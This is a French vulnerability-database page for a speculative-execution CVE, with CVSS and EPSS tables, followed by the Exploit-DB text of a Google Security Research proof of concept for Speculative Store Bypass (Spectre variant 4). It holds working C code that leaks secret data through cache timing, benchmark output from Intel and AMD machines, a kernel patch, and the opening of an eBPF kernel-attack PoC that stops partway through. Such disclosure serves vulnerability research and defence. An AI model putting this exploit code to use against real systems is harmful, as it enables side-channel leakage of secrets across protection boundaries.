Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE-203
Observable Discrepancy The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
5.5
MEDIUM
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
There is no impact to availability within the impacted component.
Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
2.1
AV:L/AC:L/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date EPSS V0 EPSS V1 EPSS V2 (> 2022-02-04) EPSS V3 (> 2025-03-07) EPSS V4 (> 2025-03-17) 2021-04-18 93.86% – – – – 2021-09-05 – 93.86% – – – 2022-02-06 – – 21.74% – – 2022-04-03 – – 21.74% – – 2022-05-08 – – 19.41% – – 2022-07-31 – – 17.25% – – 2023-03-12 – – – 0.14% – 2023-05-14 – – – 0.15% – 2023-06-25 – – – 0.15% – 2023-11-05 – – – 0.15% – 2023-11-12 – – – 0.15% – 2023-11-19 – – – 0.15% – 2023-11-26 – – – 0.16% – 2024-03-10 – – – 0.23% – 2024-06-02 – – – 0.25% – 2024-08-11 – – – 0.25% – 2024-08-25 – – – 0.25% – 2024-09-22 – – – 0.25% – 2024-11-10 – – – 0.25% – 2024-11-17 – – – 0.36% – 2024-12-22 – – – 0.77% – 2025-01-19 – – – 0.77% – 2025-03-18 – – – – 49.36% 2025-03-30 – – – – 46.74% 2025-03-30 – – – – 46.74,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date Percentile 2021-04-18 – 2021-09-05 1% 2022-02-06 94% 2022-04-03 96% 2022-05-08 96% 2022-07-31 96% 2023-03-12 48% 2023-05-14 5% 2023-06-25 51% 2023-11-05 52% 2023-11-12 51% 2023-11-19 52% 2023-11-26 52% 2024-03-10 6% 2024-06-02 65% 2024-08-11 65% 2024-08-25 66% 2024-09-22 65% 2024-11-10 66% 2024-11-17 73% 2024-12-22 81% 2025-01-19 81% 2025-03-18 98% 2025-03-30 97% 2025-03-30 97%
Informations sur l'Exploit
Exploit Database EDB-ID : 44695
Date de publication : 2018-05-21 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
======== Intro / Overview ========
After Michael Schwarz made some interesting observations, we started
looking into variants other than the three already-known ones.
I noticed that Intel's Optimization Manual says in
section 2.4.4.5 ("Memory Disambiguation"):
A load instruction micro-op may depend on a preceding store. Many
microarchitectures block loads until all preceding store address
are known.
The memory disambiguator predicts which loads will not depend on
any previous stores. When the disambiguator predicts that a load
does not have such a dependency, the load takes its data from the
L1 data cache.
Eventually, the prediction is verified. If an actual conflict is
detected, the load and all succeeding instructions are re-executed.
According to my experiments, this effect can be used to cause
speculative execution to continue far enough to execute a
Spectre-style gadget on a pointer read from a memory slot to which a
store has been speculatively ignored. I have tested this behavior on
the following processors from Intel and AMD:
- Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz [Skylake laptop]
- AMD PRO A8-9600 R7, 10 COMPUTE CORES 4C+6G [AMD desktop]
- Intel(R) Xeon(R) CPU E5-1650 v3 @ 3.50GHz [Haswell desktop]
I haven't yet tested this on any ARM CPU.
Interestingly, only on the Skylake laptop, it seems to work when
interrupts and SMP are disabled while the test is running; on the
other machines, it seems to only work when interrupts are enabled,
maybe because the kernel code cause some noise that garbles some
predictor state or so? Or just because they mess up timing
somewhere...
There were mentions of data speculation on the netdev list, in a
somewhat different context:
https://www.mail-archive.com/netdev@vger.kernel.org/msg212262.html
https://www.mail-archive.com/netdev@vger.kernel.org/msg215369.html
However, I'm not entirely sure about the terminology. Do
"data speculation" and "value speculation" include speculating about
the *source* of data, or do they refer exclusively to directly
speculating about the *value* of data?
======== Demo code (no privilege boundaries crossed) ========
This is some code that purely demonstrates the basic effect and shows
that it is possible to combine it with a Meltdown/Spectre-style
gadget for leaking data into the cache. It does not cross any
privilege boundaries.
----------------------- START -----------------------
// compile with: gcc -o test test.c -Wall -DHIT_THRESHOLD={CYCLES}
// optionally add: -DNO_INTERRUPTS
#include <stdio.h>
#include <sys/io.h>
#include <err.h>
#include <sys/mman.h>
#define pipeline_flush() asm volatile("mov $0,
%%eax\n\tcpuid\n\tlfence" : /*out*/ : /*in*/ :
"rax","rbx","rcx","rdx","memory")
#define clflush(addr) asm volatile("clflush (%0)"::"r"(addr):"memory")
// source of high-latency pointer to the memory slot
unsigned char **flushy_area[1000];
#define flushy (flushy_area+500)
// memory slot on which we want bad memory disambiguation
unsigned char *memory_slot_area[1000];
#define memory_slot (memory_slot_area+500)
// 0123456789abcdef
unsigned char secret_read_area[] = "0000011011101011";
unsigned char public_read_area[] = "################";
unsigned char timey_line_area[0x200000];
// stored in the memory slot first
#define timey_lines (timey_line_area + 0x10000)
unsigned char dummy_char_sink;
int testfun(int idx) {
pipeline_flush();
*flushy = memory_slot;
*memory_slot = secret_read_area;
timey_lines['0' << 12] = 1;
timey_lines['1' << 12] = 1;
pipeline_flush();
clflush(flushy);
clflush(&timey_lines['0' << 12]);
clflush(&timey_lines['1' << 12]);
asm volatile("mfence");
pipeline_flush();
// START OF CRITICAL PATH
unsigned char **memory_slot__slowptr = *flushy;
//pipeline_flush();
// the following store will be speculatively ignored since its
address is unknown
*memory_slot__slowptr = public_read_area;
// uncomment the instructions in the next line to break the attack
asm volatile("" /*"mov $0, %%eax\n\tcpuid\n\tlfence"*/ : /*out*/ :
/*in*/ : "rax","rbx","rcx","rdx","memory");
// architectual read from dummy_timey_line, possible
microarchitectural read from timey_line
dummy_char_sink = timey_lines[(*memory_slot)[idx] << 12];
// END OF CRITICAL PATH
unsigned int t1, t2;
pipeline_flush();
asm volatile(
"lfence\n\t"
"rdtscp\n\t"
"mov %%eax, %%ebx\n\t"
"mov (%%rdi), %%r11\n\t"
"rdtscp\n\t"
"lfence\n\t"
://out
"=a"(t2),
"=b"(t1)
://in
"D"(timey_lines + 0x1000 * '0')
://clobber
"r11",
"rcx",
"rdx",
"memory"
);
pipeline_flush();
unsigned int delay_0 = t2 - t1;
pipeline_flush();
asm volatile(
"lfence\n\t"
"rdtscp\n\t"
"mov %%eax, %%ebx\n\t"
"mov (%%rdi), %%r11\n\t"
"rdtscp\n\t"
"lfence\n\t"
://out
"=a"(t2),
"=b"(t1)
://in
"D"(timey_lines + 0x1000 * '1')
://clobber
"r11",
"rcx",
"rdx",
"memory"
);
pipeline_flush();
unsigned int delay_1 = t2 - t1;
if (delay_0 < HIT_THRESHOLD && delay_1 > HIT_THRESHOLD) {
pipeline_flush();
return 0;
}
if (delay_0 > HIT_THRESHOLD && delay_1 < HIT_THRESHOLD) {
pipeline_flush();
return 1;
}
pipeline_flush();
return -1;
}
int main(void) {
char out[100000];
char *out_ = out;
#ifdef NO_INTERRUPTS
if (mlockall(MCL_CURRENT|MCL_FUTURE) || iopl(3))
err(1, "iopl(3)");
#endif
for (int idx = 0; idx < 16; idx++) {
#ifdef NO_INTERRUPTS
asm volatile("cli");
#endif
pipeline_flush();
long cycles = 0;
int hits = 0;
char results[33] = {0};
/* if we don't break the loop after some time when it doesn't
work, in NO_INTERRUPTS mode with SMP disabled, the machine will lock
up */
while (hits < 32 && cycles < 1000000) {
pipeline_flush();
int res = testfun(idx);
if (res != -1) {
pipeline_flush();
results[hits] = res + '0';
hits++;
}
cycles++;
pipeline_flush();
}
pipeline_flush();
#ifdef NO_INTERRUPTS
asm volatile("sti");
#endif
out_ += sprintf(out_, "%c: %s in %ld cycles (hitrate: %f%%)\n",
secret_read_area[idx], results, cycles, 100*hits/(double)cycles);
}
printf("%s", out);
pipeline_flush();
}
----------------------- END -----------------------
Results:
In the following, "SMP off" means that I have executed this
command:
# for file in /sys/devices/system/cpu/cpu*/online; do echo 0 > $file; done
For the Intel machines, "turbo off" means that I've executed the
following command:
# echo 1 > /sys/devices/system/cpu/intel_pstate/no_turbo
Skylake laptop, normal:
$ gcc -o test test.c -Wall -DHIT_THRESHOLD=50
$ ./test
0: 00000000000000000000000000000000 in 61944 cycles (hitrate: 0.051660%)
0: 00000000000000000000000000000000 in 36467 cycles (hitrate: 0.087751%)
0: 00000000000000000000000000000000 in 36788 cycles (hitrate: 0.086985%)
0: 00000000000000000000000000000000 in 36800 cycles (hitrate: 0.086957%)
0: 00000000000000000000000000000000 in 35797 cycles (hitrate: 0.089393%)
1: 11111111111111111111111111111111 in 48923 cycles (hitrate: 0.065409%)
1: 11111111111111111111111111111111 in 44525 cycles (hitrate: 0.071870%)
0: 00000000000000000000000000000000 in 44813 cycles (hitrate: 0.071408%)
1: 11111111111111111111111111111111 in 40625 cycles (hitrate: 0.078769%)
1: 11111111111111111111111111111111 in 40897 cycles (hitrate: 0.078245%)
1: 11111111111111111111111111111111 in 39648 cycles (hitrate: 0.080710%)
0: 00000000000000000000000000000000 in 40737 cycles (hitrate: 0.078553%)
1: 11111111111111111111111111111111 in 37850 cycles (hitrate: 0.084544%)
0: 00000000000000000000000000000000 in 46062 cycles (hitrate: 0.069472%)
1: 11111111111111111111111111111111 in 44929 cycles (hitrate: 0.071223%)
1: 11111111111111111111111111111111 in 37465 cycles (hitrate: 0.085413%)
Skylake laptop, SMP off, interrupts off, turbo off:
$ gcc -o test test.c -Wall -DHIT_THRESHOLD=50 -DNO_INTERRUPTS
$ sudo ./test
0: 00000000000000000000000000000000 in 34697 cycles (hitrate: 0.092227%)
0: 00000000000000000000000000000000 in 32625 cycles (hitrate: 0.098084%)
0: 00000000000000000000000000000000 in 32776 cycles (hitrate: 0.097632%)
0: 00000000000000000000000000000000 in 34680 cycles (hitrate: 0.092272%)
0: 00000000000000000000000000000000 in 32302 cycles (hitrate: 0.099065%)
1: 11111111111111111111111111111111 in 33240 cycles (hitrate: 0.096270%)
1: 11111111111111111111111111111111 in 33738 cycles (hitrate: 0.094849%)
0: 00000000000000000000000000000000 in 31745 cycles (hitrate: 0.100803%)
1: 11111111111111111111111111111111 in 31745 cycles (hitrate: 0.100803%)
1: 11111111111111111111111111111111 in 32531 cycles (hitrate: 0.098368%)
1: 11111111111111111111111111111111 in 31745 cycles (hitrate: 0.100803%)
0: 00000000000000000000000000000000 in 31745 cycles (hitrate: 0.100803%)
1: 11111111111111111111111111111111 in 31745 cycles (hitrate: 0.100803%)
0: 00000000000000000000000000000000 in 32193 cycles (hitrate: 0.099400%)
1: 11111111111111111111111111111111 in 32167 cycles (hitrate: 0.099481%)
1: 11111111111111111111111111111111 in 31745 cycles (hitrate: 0.100803%)
Haswell PC, normal:
$ gcc -o test test.c -Wall -DHIT_THRESHOLD=50
$ ./test
0: 00000000000000000000000000000000 in 119737 cycles (hitrate: 0.026725%)
0: 00000000000000000000000000000000 in 45340 cycles (hitrate: 0.070578%)
0: 00000000000000000000000000000000 in 39127 cycles (hitrate: 0.081785%)
0: 00000000000000000000000000000000 in 39567 cycles (hitrate: 0.080875%)
0: 00000000000000000000000000000000 in 35164 cycles (hitrate: 0.091002%)
1: 11111111111111111111111111111111 in 33770 cycles (hitrate: 0.094759%)
1: 11111111111111111111111111111111 in 36743 cycles (hitrate: 0.087091%)
0: 00000000000000000000000000000000 in 36749 cycles (hitrate: 0.087077%)
1: 11111111111111111111111111111111 in 35686 cycles (hitrate: 0.089671%)
1: 11111111111111111111111111111111 in 35843 cycles (hitrate: 0.089278%)
1: 11111111111111111111111111111111 in 35826 cycles (hitrate: 0.089321%)
0: 00000000000000000000000000000000 in 35302 cycles (hitrate: 0.090646%)
1: 11111111111111111111111111111111 in 34256 cycles (hitrate: 0.093414%)
0: 00000000000000000000000000000000 in 36604 cycles (hitrate: 0.087422%)
1: 11111111111111111111111111111111 in 36795 cycles (hitrate: 0.086968%)
1: 11111111111111111111111111111111 in 37820 cycles (hitrate: 0.084611%)
Haswell PC, SMP off, interrupts off, turbo off:
$ gcc -o test test.c -Wall -DHIT_THRESHOLD=50 -DNO_INTERRUPTS
$ sudo ./test
0: 00000000000000000000000000000000 in 32770 cycles (hitrate: 0.097650%)
0: 00000000000000000000000000000000 in 32776 cycles (hitrate: 0.097632%)
0: 00000000000000000000000000000000 in 32783 cycles (hitrate: 0.097612%)
0: 00000000000000000000000000000000 in 31745 cycles (hitrate: 0.100803%)
0: 00000000000000000000000000000000 in 37455 cycles (hitrate: 0.085436%)
1: in 1000000 cycles (hitrate: 0.000000%)
1: in 1000000 cycles (hitrate: 0.000000%)
0: 00000000000000000000000000000000 in 39894 cycles (hitrate: 0.080213%)
1: in 1000000 cycles (hitrate: 0.000000%)
1: in 1000000 cycles (hitrate: 0.000000%)
1: 11111111111111111111111111111111 in 33845 cycles (hitrate: 0.094549%)
0: in 1000000 cycles (hitrate: 0.000000%)
1: in 1000000 cycles (hitrate: 0.000000%)
0: 00000000000000000000000000000000 in 44050 cycles (hitrate: 0.072645%)
1: in 1000000 cycles (hitrate: 0.000000%)
1: in 1000000 cycles (hitrate: 0.000000%)
AMD desktop, normal:
$ gcc -o test test.c -Wall -DHIT_THRESHOLD=200 -std=gnu99
$ ./test
0: 0000000000000000000000000 in 1000000 cycles (hitrate: 0.002500%)
0: 000000000000000000000 in 1000000 cycles (hitrate: 0.002100%)
0: 00000000000000000000000000000000 in 939816 cycles (hitrate: 0.003405%)
0: 00000000000000000000000000000000 in 903838 cycles (hitrate: 0.003540%)
0: 00000000000000000000000000000000 in 360430 cycles (hitrate: 0.008878%)
1: 11111111111111111111111111111111 in 484242 cycles (hitrate: 0.006608%)
1: 11111111111111111111111111111111 in 331271 cycles (hitrate: 0.009660%)
0: 00000000000000000000000000000000 in 388049 cycles (hitrate: 0.008246%)
1: 11111111111111111111111111111111 in 282588 cycles (hitrate: 0.011324%)
1: 11111111111111111111111111111111 in 359558 cycles (hitrate: 0.008900%)
1: 11111111111111111111111111111111 in 359013 cycles (hitrate: 0.008913%)
0: 0000000000000000000000000000000 in 1000000 cycles (hitrate: 0.003100%)
1: 11111111111111111111111111111111 in 501067 cycles (hitrate: 0.006386%)
0: 00000000000000000000000000000000 in 312420 cycles (hitrate: 0.010243%)
1: 11111111111111111111111111111111 in 784663 cycles (hitrate: 0.004078%)
1: 11111111111111111111111111111111 in 954189 cycles (hitrate: 0.003354%)
AMD desktop, SMP off, interrupts off:
$ gcc -o test test.c -Wall -DHIT_THRESHOLD=200 -std=gnu99 -DNO_INTERRUPTS
$ sudo ./test
0: 00 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
1: in 1000000 cycles (hitrate: 0.000000%)
0: 00 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
1: 11 in 1000000 cycles (hitrate: 0.000200%)
======== assisted BPF PoC ========
This is a PoC that demonstrates that this issue can potentially be
used to attack the Linux kernel's BPF subsystem.
This is *NOT* a full exploit against BPF; this is a PoC that requires
kernel patches that permit the PoC to flush kernel memory from inside
BPF and to measure access times to BPF arrays. It seems probable that
these restrictions could be overcome, but my PoC doesn't do that.
The basic idea here is to cause a speculative type confusion:
1. Store a number N at address A on the stack.
2. Write a pointer P to address A, using a high-latency
expression to compute A.
3. Read a value X from address A, with A specified using a low-latency
expression. Architecturally, X is P; however, microarchitecturally,
X can be N.
4. Use the Spectre/Meltdown gadget to leak the value X points to into
the cache.
The attack benefits from the unique property of eBPF that the engine
performs relatively complicated value tracking, but does not
normally use the resulting information to modify the code in any way
(e.g. by optimizing things away). It is not clear how applicable this
attack would be to e.g. other scripting languages, or whether it is an
issue for non-scripting code.
I have only tested this PoC on an Intel Skylake CPU.
Kernel patch required for the PoC to work (copy attached, so that it
applies cleanly), to be applied to the 4.15.1 stable kernel:
----------------------- START -----------------------
diff --git a/include/linux/bpf.h b/include/linux/bpf.h
index 0b25cf87b6d6..896b4f483fe2 100644
--- a/include/linux/bpf.h
+++ b/include/linux/bpf.h
@@ -591,6 +591,7 @@ extern const struct bpf_func_proto bpf_skb_vlan_push_proto;
extern const struct bpf_func_proto bpf_skb_vlan_pop_proto;
extern const struct bpf_func_proto bpf_get_stackid_proto;
extern const struct bpf_func_proto bpf_sock_map_update_proto;
+extern const struct bpf_func_proto bpf_clflush_mfence_proto;
/* Shared helpers among cBPF and eBPF. */
void bpf_user_rnd_init_once(void);
diff --git a/kernel/bpf/helpers.c b/kernel/bpf/helpers.c
index 3d24e238221e..379dc888cb81 100644
--- a/kernel/bpf/helpers.c
+++ b/kernel/bpf/helpers.c
@@ -179,3 +179,17 @@ const struct bpf_func_proto bpf_get_current_comm_proto = {
.arg1_type = ARG_PTR_TO_UNINIT_MEM,
.arg2_type = ARG_CONST_SIZE,
};
+
+BPF_CALL_1(bpf_clflush_mfence, void *, target) {
+ asm volatile("mfence\n\tclflush (%0)\n\tmfence"::"r"(target):"memory");
+ return 0;
+}
+
+const struct bpf_func_proto bpf_clflush_mfence_proto = {
+ .func = bpf_clflush_mfence,
+ .ret_type = RET_INTEGER,
+ /* theoretically permits CLFLUSH on invalid addresses,
+ * but the PoC doesn't do that
+ */
+ .arg1_type = ARG_DONTCARE
+};
diff --git a/kernel/bpf/syscall.c b/kernel/bpf/syscall.c
index 5cb783fc8224..2dd9a2a95630 100644
--- a/kernel/bpf/syscall.c
+++ b/kernel/bpf/syscall.c
@@ -605,6 +605,85 @@ static int map_lookup_elem(union bpf_attr *attr)
return err;
}
+static int map_time_flush_loc(union bpf_attr *attr)
+{
+ void __user *ukey = u64_to_user_ptr(attr->key);
+ void __user *uvalue = u64_to_user_ptr(attr->value);
+ int ufd = attr->map_fd;
+ struct bpf_map *map;
+ void *key, *ptr;
+ struct fd f;
+ int err = 0;
+ u64 delay = 0;
+
+ f = fdget(ufd);
+ map = __bpf_map_get(f);
+ if (IS_ERR(map))
+ return PTR_ERR(map);
+
+ if (!(f.file->f_mode & FMODE_CAN_READ)) {
+ err = -EPERM;
+ goto err_put;
+ }
+
+ if (map->map_type != BPF_MAP_TYPE_ARRAY) {
+ err = -EINVAL;
+ goto err_put;
+ }
+
+ if (attr->flags > 0x100000 || attr->flags >= map->value_size) {
+ err = -EINVAL;
+ goto err_put;
+ }
+ asm volatile("lfence");
+
+ key = memdup_user(ukey, map->key_size);
+ if (IS_ERR(key)) {
+ err = PTR_ERR(key);
+ goto err_put;
+ }
+
+ rcu_read_lock();
+ ptr = map->ops->map_lookup_elem(map, key);
+ if (ptr) {
+ unsigned int t1, t2;
+ ptr = (char*)ptr + attr->flags;
+ asm volatile(
+ "xor %%r11, %%r11\n\t"
+ "lfence\n\t"
+ "rdtscp\n\t"
+ "mov %%eax, %%ebx\n\t"
+ "mov (%%rdi), %%r11b\n\t"
+ "rdtscp\n\t"
+ "mfence\n\t"
+ "clflush (%%rdi)\n\t"
+ "mfence\n\t"
+ ://out
+ "=a"(t2),
+ "=b"(t1)
+ ://in
+ "D"(ptr)
+ ://clobber
+ "r11",
+ "rcx",
+ "rdx",
+ "memory"
+ );
+ delay = t2 - t1;
+ }
+ rcu_read_unlock();
+ if (copy_to_user(uvalue, &delay, 8)) {
+ err = -EINVAL;
+ goto free_key;
+ }
+
+free_key:
+ kfree(key);
+err_put:
+ fdput(f);
+ return err;
+}
+
#define BPF_MAP_UPDATE_ELEM_LAST_FIELD flags
static int map_update_elem(union bpf_attr *attr)
@@ -1713,6 +1792,9 @@ SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr
__user *, uattr, unsigned int, siz
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
+ case 0x13370001:
+ err = map_time_flush_loc(&attr);
+ break;
case BPF_MAP_DELETE_ELEM:
err = map_delete_elem(&attr);
break;
diff --git a/net/core/filter.c b/net/core/filter.c
index 1c0eb436671f..e310a345054c 100644
--- a/net/core/filter.c
+++ b/net/core/filter.c
@@ -3347,6 +3347,8 @@ bpf_base_func_proto(enum bpf_func_id func_id)
return &bpf_tail_call_proto;
case BPF_FUNC_ktime_get_ns:
return &bpf_ktime_get_ns_proto;
+ case 4:
+ return &bpf_clflush_mfence_proto;
case BPF_FUNC_trace_printk:
if (capable(CAP_SYS_ADMIN))
return bpf_get_trace_printk_proto();
----------------------- END -----------------------
The PoC:
----------------------- START -----------------------
*/
#define _GNU_SOURCE
#include <pthread.h>
#include <assert.h>
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <pthread.h>
#include <errno.h>
#include <limits.h>
#include <stdbool.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stddef.h>
#include <signal.h>
#include <string.h>
#include <ctype.h>
#include <sys/mman.h>
#include <sys/user.h>
#define GPLv2 "GPL v2"
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
/* registers */
/* caller-saved: r0..r5 */
#define BPF_REG_ARG1 BPF_REG_1
#define BPF_REG_ARG2 BPF_REG_2
#define BPF_REG_ARG3 BPF_REG_3
#define BPF_REG_ARG4 BPF_REG_4
#define BPF_REG_ARG5 BPF_REG_5
#define BPF_REG_CTX BPF_REG_6
#define BPF_REG_FP BPF_REG_10
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_EMIT_CALL(FUNC) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_CALL, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = (FUNC) })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_LD_ABS(SIZE, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
int bpf_(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}
int array_create(int value_size, int num_entries) {
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = 4,
.value_size = value_size,
.max_entries = num_entries
};
int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
if (mapfd == -1)
err(1, "map create");
return mapfd;
}
unsigned int array_time_flush_loc(int mapfd, uint32_t idx, uint32_t off) {
uint64_t time;
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&idx,
.value = (uint64_t)&time,
.flags = off,
};
int res = bpf_(0x13370001, &attr);
if (res)
err(1, "map flush loc");
return time;
}
void array_set_dw(int mapfd, uint32_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)&value,
.flags = BPF_ANY,
};
int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
if (res)
err(1, "map update elem");
}
int prog_load(struct bpf_insn *insns, size_t insns_count) {
char verifier_log[100000];
union bpf_attr create_prog_attrs = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = insns_count,
.insns = (uint64_t)insns,
.license = (uint64_t)GPLv2,
.log_level = 1,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
int errno_ = errno;
//printf("==========================\n%s==========================\n",
verifier_log);
errno = errno_;
if (progfd == -1)
err(1, "prog load");
return progfd;
}
int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
int progfd = prog_load(insns, insns_count);
// hook eBPF program up to a socket
// sendmsg() to the socket will trigger the filter
// returning 0 in the filter should toss the packet
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
err(1, "socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
err(1, "setsockopt");
return socks[1];
}
